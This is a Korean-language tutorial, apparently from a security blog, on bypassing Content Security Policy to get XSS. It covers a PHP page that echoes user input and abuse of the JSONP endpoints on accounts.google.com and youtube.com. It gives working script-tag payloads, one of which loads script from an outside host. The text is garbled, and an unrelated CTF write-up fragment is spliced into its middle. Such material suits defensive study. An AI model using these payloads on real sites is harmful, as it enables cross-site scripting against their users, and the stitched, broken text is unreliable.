1. 업로드 기능으로 우회
다음과 같이 서버에 CSP가 적용되었다고 가정해 봅시다.
script-src 지시문은 self 및 임의의 nonce 값으로 설정됩니다.
즉, `와 같은 페이로드`nonce` 값이 없기 때문에 `는 실행되지 않습니다.
<?php
$nonce = base64_encode(sha1(RandomString()));
$CSP = array(
"default-src 'self'",
"script-src 'self' 'nonce-$nonce'"
);
header("Content-Security-Policy: " . join("; ", $CSP));
echo $_GET("data");
?>
이 문제를 해결하려면 “self”를 사용하십시오. js 파일을 서버에 업로드할 수 있는지 또는 사용자가 입력한 값을 출력하는 페이지가 있는지 이를 우회하는 데 사용할 수 있습니다.
따라서 바이패스 페이로드는 다음과 같습니다.
http://localhost:8080/test.php?data=<script src="http://lactea.kr/ping?pong=alert(document.domain)"></script>
2. JSONP API로 우회
CSP가 JSONP를 지원하는 오리진을 지정하면 다음 오리진에서 사용할 수 있다.
2-1 account.google.com
CSP가 다음과 같이 설정되어 있다고 가정해 보겠습니다.
script-src self accounts.google.com
accounts.google.com 원본은 다음 JSONP를 지원합니다.
“callback” 매개변수에 “alert(1);”를 입력하면 아래 스크린샷과 같은 응답을 받게 됩니다.
따라서 이것을 사용하여 다음 페이로드로 xss를 트리거할 수 있습니다.
/test.php?data=<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);"></script>
2.2 youtube.com
CSP가 다음과 같이 설정되어 있다고 가정해 보겠습니다.
script-src self youtube.com
youtube.com 호스트만 허용됩니다.
JSONP를 사용하는 XSS에서도 가능합니다.
다음 링크에서 관련 문제를 찾을 수 있습니다.
hacktm ctf 2023 설명
1. (웹)블로그 쿠키 값은 `unserialized()`입니다.
취약계층을 찾기 위해 사용해보니 Profile계열이 눈에 들어왔다.
`file_get_contents()` 함수는 멤버 변수 `$this->picture_path`의 값을 통해 파일을 읽습니다.
lactea.kr
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=alert(1)></script>
첨가되는